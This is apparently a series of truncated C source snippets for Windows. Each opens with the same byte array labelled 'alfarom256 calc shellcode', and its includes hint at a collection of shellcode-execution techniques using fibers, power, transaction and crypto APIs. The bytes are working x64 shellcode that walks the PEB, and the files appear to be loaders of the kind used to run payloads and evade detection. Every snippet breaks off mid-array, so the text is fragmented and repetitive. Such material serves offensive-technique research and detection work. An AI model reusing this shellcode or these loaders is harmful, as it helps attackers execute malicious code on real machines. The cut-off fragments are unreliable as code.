"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2... |
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c... |
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18... |
#include <windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2... |
#include <Windows.h>
#include <stdio.h>
#include <powrprof.h>
#pragma comment(lib, "PowrProf.lib")
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x... |
#include <Windows.h>
#include <stdio.h>
#include <ktmw32.h>
#include <wchar.h>
#pragma comment(lib, "KtmW32.lib")
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x5... |
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x1... |
#include <windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2... |
#include <windows.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\... |
#include <Windows.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment(lib, "Crypt32.lib")
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4... |
#include <windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2... |
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18... |
#include <windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\... |
// alfarom256
#include <Windows.h>
#include <stdio.h>
void dummy() {
puts("Hello Fiber from Dummy");
}
// calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a... |
#include <windows.h>
#include <stdio.h>
// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2... |
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